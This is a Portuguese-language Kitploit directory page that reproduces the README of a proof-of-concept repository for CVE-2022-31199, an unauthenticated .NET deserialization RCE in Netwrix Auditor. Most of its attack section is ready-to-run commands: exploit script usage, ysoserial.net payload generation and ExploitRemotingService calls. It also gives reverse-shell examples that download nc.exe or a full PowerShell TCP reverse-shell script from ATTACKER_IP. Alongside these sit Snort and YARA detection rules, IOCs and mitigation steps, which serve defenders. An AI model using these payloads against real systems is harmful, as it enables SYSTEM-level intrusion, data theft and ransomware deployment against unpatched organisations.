Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2022-31199 — Provas de conceito para CVE-2022-31199, uma vulnerabilidade crítica de desserialização RCE no .NET no Netwrix Auditor. Inclui scripts em Python e PowerShell, geração de payloads com ysoserial.net e assinaturas de detecção para testes de segurança autorizados. | Kitploit
Ferramentas/GitHubGitHub/developerfred/cve-2022-31199
Análise de VulnerabilidadesExploraçãoTestes de PenetraçãoComando e ControleAprendizado e EducaçãoRed TeamingDesenvolvimento de PayloadsLabs e Prática
GitHub
developerfred/cve-2022-31199

CVE-2022-31199

Provas de conceito para CVE-2022-31199, uma vulnerabilidade crítica de desserialização RCE no .NET no Netwrix Auditor. Inclui scripts em Python e PowerShell, geração de payloads com ysoserial.net e assinaturas de detecção para testes de segurança autorizados.

Ver Repositório
3há 9 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2022-31199 - PoCs de Exploit de RCE do Netwrix Auditor

🔍 Visão Geral da Vulnerabilidade

CVE-2022-31199 é uma vulnerabilidade crítica de desserialização insegura de objetos no Netwrix Auditor em versões anteriores à 10.5. A vulnerabilidade existe em um serviço .NET Remoting não protegido que escuta na porta TCP 9004, permitindo que atacantes remotos não autenticados executem código arbitrário com privilégios de NT AUTHORITY\SYSTEM.

Detalhes da Vulnerabilidade

  • CVE ID: CVE-2022-31199
  • Pontuação CVSS: 9.8 (Crítica)
  • CWE: CWE-502 (Desserialização de Dados Não Confiáveis)
  • Versões Afetadas: Netwrix Auditor < 10.5
  • Vetor de Ataque: Rede (Não Autenticado)
  • Privilégios Necessários: Nenhum
  • Impacto: Comprometimento total do sistema com privilégios de SYSTEM
  • CISA KEV: Listado no Catálogo de Vulnerabilidades Exploradas Conhecidas

Impacto no Mundo Real

Esta vulnerabilidade tem sido ativamente explorada no mundo real por:

  • Campanha do malware Truebot (operadores de ransomware CL0P/TA505 afiliados à Rússia)
  • Grupo cibercriminoso Silence
  • Atores de ameaça FIN11
  • A exploração bem-sucedida normalmente leva a:

    • Comprometimento total do domínio Active Directory
    • Movimento lateral entre sistemas monitorados
    • Exfiltração de dados
    • Implantação de ransomware

    📦 Conteúdo do Repositório

    Este repositório contém exploits completos de Prova de Conceito (PoC) para CVE-2022-31199:

    Arquivos

    1. exploit.py - Framework de exploração baseado em Python
    2. exploit.ps1 - Script de exploração em PowerShell
    3. README.md - Esta documentação
    4. manual-exploitation.md - Guia passo a passo de exploração manual

    🛠️ Requisitos

    Ferramentas Necessárias

    Exploração Baseada em Windows (Recomendado)

    • ysoserial.net - Gerador de payloads de desserialização .NET

      • Download: https://github.com/pwntester/ysoserial.net
      • Releases: https://github.com/pwntester/ysoserial.net/releases
    • ExploitRemotingService - Ferramenta de exploração .NET Remoting

      • Download: https://github.com/tyranid/ExploitRemotingService
      • Alternativa (aprimorada): https://github.com/codewhitesec/ExploitRemotingService

    Requisitos do Script Python

    • Python 3.6 ou superior
    • Apenas biblioteca padrão (sem dependências externas para verificações básicas)
    • Acesso aos executáveis do ysoserial.net e do ExploitRemotingService

    Requisitos do Script PowerShell

    • PowerShell 5.1 ou superior
    • Sistema operacional Windows
    • ysoserial.exe e ExploitRemotingService.exe no diretório do script

    🚀 Início Rápido

    1. Verificar se o Alvo é Vulnerável

    Usando Python:

    root@kitploit:~
    python3 exploit.py --target 192.168.1.100 --check
    

    Usando PowerShell:

    root@kitploit:~
    .\exploit.ps1 -Target 192.168.1.100 -CheckOnly
    

    2. Gerar Payload

    root@kitploit:~
    # Using ysoserial.net
    ysoserial.exe -f BinaryFormatter -o base64 -g TypeConfuseDelegate -c "whoami"
    

    3. Executar o Exploit

    Python (com payload pré-gerado):

    root@kitploit:~
    python3 exploit.py --target 192.168.1.100 --payload [BASE64_PAYLOAD]
    

    PowerShell (automático):

    root@kitploit:~
    .\exploit.ps1 -Target 192.168.1.100 -Command "whoami"
    

    📖 Uso Detalhado

    Exploit em Python (exploit.py)

    Verificação Básica de Vulnerabilidade

    root@kitploit:~
    python3 exploit.py --target 10.10.10.100 --check
    

    Exploração Completa com Payload Personalizado

    root@kitploit:~
    # Step 1: Generate payload
    ysoserial.exe -f BinaryFormatter -o base64 -g TypeConfuseDelegate -c "cmd /c whoami > C:\temp\output.txt"
    
    # Step 2: Execute exploit
    python3 exploit.py --target 10.10.10.100 --payload AAEAAAD....[base64_payload]
    

    Opções Avançadas

    root@kitploit:~
    # Custom port
    python3 exploit.py --target 10.10.10.100 --port 9004 --check
    
    # Custom endpoint
    python3 exploit.py --target 10.10.10.100 --endpoint UAVRServer --check
    

    Argumentos de Linha de Comando

    root@kitploit:~
    --target    : Target IP address or hostname (required)
    --port      : Target port (default: 9004)
    --endpoint  : .NET Remoting endpoint name (default: UAVRServer)
    --check     : Only check vulnerability, don't exploit
    --payload   : Base64 encoded payload from ysoserial.net
    

    Exploit em PowerShell (exploit.ps1)

    Apenas Verificação de Vulnerabilidade

    root@kitploit:~
    .\exploit.ps1 -Target 192.168.1.100 -CheckOnly
    

    Executar Comando

    root@kitploit:~
    # Simple command execution
    .\exploit.ps1 -Target 192.168.1.100 -Command "whoami"
    
    # Write output to file
    .\exploit.ps1 -Target 192.168.1.100 -Command "cmd /c whoami > C:\temp\out.txt"
    
    # Custom port
    .\exploit.ps1 -Target 192.168.1.100 -Port 9004 -Command "hostname"
    

    Parâmetros

    root@kitploit:~
    -Target     : Target IP address or hostname (required)
    -Port       : Target port (default: 9004)
    -Command    : Command to execute on target (default: "whoami")
    -CheckOnly  : Only check vulnerability, don't exploit
    

    🎯 Exemplos de Exploração

    Exemplo 1: Coleta de Informações

    root@kitploit:~
    # Check system information
    ysoserial.exe -f BinaryFormatter -o base64 -g TypeConfuseDelegate -c "cmd /c systeminfo > C:\temp\sysinfo.txt"
    

    Exemplo 2: Shell Reverso

    Configurar listener:

    root@kitploit:~
    nc -lvnp 4444
    

    Gerar payload:

    root@kitploit:~
    ysoserial.exe -f BinaryFormatter -o base64 -g TypeConfuseDelegate -c "powershell -c curl http://ATTACKER_IP/nc.exe -o C:\temp\nc.exe; C:\temp\nc.exe ATTACKER_IP 4444 -e cmd.exe"
    

    Exemplo 3: Shell Reverso em PowerShell

    Criar script de shell reverso (rev.ps1):

    root@kitploit:~
    $client = New-Object System.Net.Sockets.TCPClient('ATTACKER_IP',4444);
    $stream = $client.GetStream();
    [byte[]]$bytes = 0..65535|%{0};
    while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
        $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
        $sendback = (iex $data 2>&1 | Out-String );
        $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
        $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
        $stream.Write($sendbyte,0,$sendbyte.Length);
        $stream.Flush()
    };
    $client.Close()
    

    Hospedar o script:

    root@kitploit:~
    python3 -m http.server 8000
    

    Gerar payload:

    root@kitploit:~
    ysoserial.exe -f BinaryFormatter -o base64 -g TypeConfuseDelegate -c "powershell IEX (New-Object Net.WebClient).DownloadString('http://ATTACKER_IP:8000/rev.ps1')"
    

    Exemplo 4: Usando o ExploitRemotingService Diretamente

    root@kitploit:~
    # Test connectivity
    ExploitRemotingService.exe tcp://192.168.1.100:9004/UAVRServer ver
    
    # Execute with lease mode (bypasses some protections)
    ExploitRemotingService.exe -uselease tcp://192.168.1.100:9004/UAVRServer ls C:\
    
    # Execute with object reference
    ExploitRemotingService.exe -useobjref tcp://192.168.1.100:9004/UAVRServer exec "whoami"
    

    🔬 Detalhes Técnicos

    Causa Raiz da Vulnerabilidade

    A vulnerabilidade decorre de:

    1. Endpoint .NET Remoting não protegido na porta TCP 9004
    2. Desserialização BinaryFormatter sem filtragem adequada de tipos
    3. Serviço UAVRServer aceitando objetos serializados arbitrários
    4. Serviço executando com privilégios de SYSTEM em implantações típicas

    Processo de Exploração

    root@kitploit:~
    1. Attacker connects to TCP port 9004
    2. Identifies .NET Remoting service (UAVRServer endpoint)
    3. Generates malicious serialized payload using ysoserial.net
    4. Sends payload via .NET Remoting protocol
    5. Target deserializes object using BinaryFormatter
    6. Gadget chain executes arbitrary code
    7. Code runs with NT AUTHORITY\SYSTEM privileges
    

    Gadget Chains Suportadas

    As seguintes gadget chains do ysoserial.net funcionam contra esta vulnerabilidade:

    • TypeConfuseDelegate (recomendada)
    • ObjectDataProvider
    • PSObject
    • WindowsIdentity
    • TextFormattingRunProperties

    Protocolo de Rede

    root@kitploit:~
    .NET Remoting Protocol Structure:
    ┌─────────────────────────────────────┐
    │ Preamble (8 bytes)                  │
    │ 0x00 0x01 0x00 0x00 0x01 0x00 0x00 │
    ├─────────────────────────────────────┤
    │ Headers                             │
    ├─────────────────────────────────────┤
    │ URI (UAVRServer)                    │
    ├─────────────────────────────────────┤
    │ Serialized Object (BinaryFormatter) │
    └─────────────────────────────────────┘
    

    🛡️ Detecção

    Indicadores de Rede

    Regra Snort/Suricata

    root@kitploit:~
    alert tcp any any -> any 9004 (
        msg:"CVE-2022-31199 Netwrix .NET Remoting Exploit Attempt"; 
        content:"|00 01 00 00 01 00 00 00|"; 
        depth:8; 
        content:"System.Runtime.Remoting"; 
        distance:0; 
        sid:1000001; 
        rev:1;
    )
    

    Indicadores de Comprometimento (IOCs)

    • Conexões inesperadas para a porta TCP 9004
    • Pacotes grandes com cabeçalhos .NET Remoting
    • Assinaturas de serialização BinaryFormatter
    • Execução de processos a partir do contexto do UAVRServer.exe

    Detecção Baseada no Host

    Verificar serviço vulnerável:

    root@kitploit:~
    # Check if port 9004 is listening
    netstat -ano | findstr :9004
    
    # Identify process
    tasklist /FI "PID eq [PID]"
    

    Monitoramento de Logs de Eventos:

    • Procurar por criação incomum de processos a partir do UAVRServer.exe
    • Monitorar execução de comandos em nível de SYSTEM
    • Verificar conexões de rede a partir do serviço de auditoria

    Regra YARA

    root@kitploit:~
    rule CVE_2022_31199_Netwrix_Exploit {
        meta:
            description = "Detects CVE-2022-31199 exploitation attempt"
            author = "Security Researcher"
            date = "2024-11-17"
            severity = "critical"
            
        strings:
            $header = { 00 01 00 00 01 00 00 00 }
            $remoting1 = "System.Runtime.Remoting" ascii
            $remoting2 = "UAVRServer" ascii
            $remoting3 = "Netwrix" ascii
            $serialize = "BinaryFormatter" ascii
            $gadget1 = "TypeConfuseDelegate" ascii
            $gadget2 = "ObjectDataProvider" ascii
            
        condition:
            $header at 0 and 
            ($remoting1 or $remoting2 or $remoting3) and 
            $serialize and
            any of ($gadget*)
    }
    

    🔒 Mitigação

    Ações Imediatas

    1. Atualizar para o Netwrix Auditor 10.5 ou posterior

      • Versão 10.5.10936.0 (6 de junho de 2022) - Correção inicial
      • Versão 10.5.10977.0 (27 de outubro de 2022) - Proteções adicionais
    2. Segmentação de Rede

      • NÃO exponha a porta TCP 9004 a redes não confiáveis
      • Coloque o Netwrix Auditor atrás de um firewall
      • Implemente controles de acesso à rede
    3. Monitoramento

      • Monitore conexões incomuns para a porta 9004
      • Alerte sobre execução de processos a partir do UAVRServer.exe
      • Fique atento à execução de comandos em nível de SYSTEM

    Verificação

    root@kitploit:~
    # Check Netwrix Auditor version
    Get-ItemProperty "HKLM:\Software\Netwrix\Auditor" | Select Version
    
    # Check if port is exposed
    Test-NetConnection -ComputerName localhost -Port 9004
    
    # Verify firewall rules
    Get-NetFirewallRule | Where-Object {$_.DisplayName -like "*Netwrix*"}
    

    📚 Referências

    Avisos Oficiais

    • Aviso da Bishop Fox: https://bishopfox.com/blog/netwrix-auditor-advisory
    • NVD: https://nvd.nist.gov/vuln/detail/CVE-2022-31199
    • CISA KEV: https://www.cisa.gov/known-exploited-vulnerabilities-catalog
    • Declaração da Netwrix: https://www.netwrix.com/netwrix_statement_on_cve202231199.html

    Recursos Técnicos

    • ysoserial.net: https://github.com/pwntester/ysoserial.net
    • ExploitRemotingService: https://github.com/tyranid/ExploitRemotingService
    • Code White Research: https://code-white.com/blog/teaching-the-old-net-remoting-new-exploitation-tricks/
    • NCC Group: https://www.nccgroup.com/us/research-blog/finding-and-exploiting-net-remoting-over-http-using-deserialisation/

    Inteligência de Ameaças

    • Análise da Arctic Wolf: https://arcticwolf.com/resources/blog/cve-2022-31199/
    • Boletim da NopSec: https://www.nopsec.com/resources/just-in-time/just-in-time-bulletin-cve-2022-31199-netwrix-insecure-object-deserialization-rce/

    ⚠️ Aviso Legal

    root@kitploit:~
    IMPORTANT: These Proof of Concept (POC) exploits are provided for:
    - Educational purposes
    - Authorized security testing
    - Vulnerability research
    - Defensive security operations
    
    UNAUTHORIZED ACCESS TO COMPUTER SYSTEMS IS ILLEGAL.
    
    By using these tools, you agree to:
    1. Only test systems you own or have explicit written permission to test
    2. Comply with all applicable local, state, and federal laws
    3. Use the tools responsibly and ethically
    4. Not use for malicious purposes
    
    The author(s) assume no liability for misuse of these tools.
    Use at your own risk.
    

    🤝 Contribuição

    Encontrou um problema ou melhoria? Sinta-se à vontade para:

    • Abrir uma issue no repositório relacionado
    • Enviar melhorias ou técnicas adicionais
    • Compartilhar assinaturas de detecção

    📝 Créditos

    • Bishop Fox - Descoberta e divulgação original da vulnerabilidade
    • James Forshaw - Framework ExploitRemotingService
    • Alvaro Munoz - Desenvolvimento do ysoserial.net
    • ProjectDiscovery - Framework de templates Nuclei

    📅 Cronologia

    • 6 de junho de 2022 - Netwrix lança a versão 10.5 com a correção
    • Julho de 2022 - Bishop Fox publica o aviso
    • 27 de outubro de 2022 - Patches adicionais lançados (versão 10.5.10977.0)
    • Maio de 2023 - Exploração ativa observada (campanha Truebot)
    • 11 de julho de 2023 - Adicionado ao catálogo CISA KEV
    • Novembro de 2024 - PoCs lançadas para pesquisa defensiva

    Versão: 1.0
    Última Atualização: 17 de novembro de 2024
    Mantido por: Comunidade de Pesquisa em Segurança

    Para perguntas ou problemas, consulte os avisos oficiais e a documentação.

    Baixar ferramenta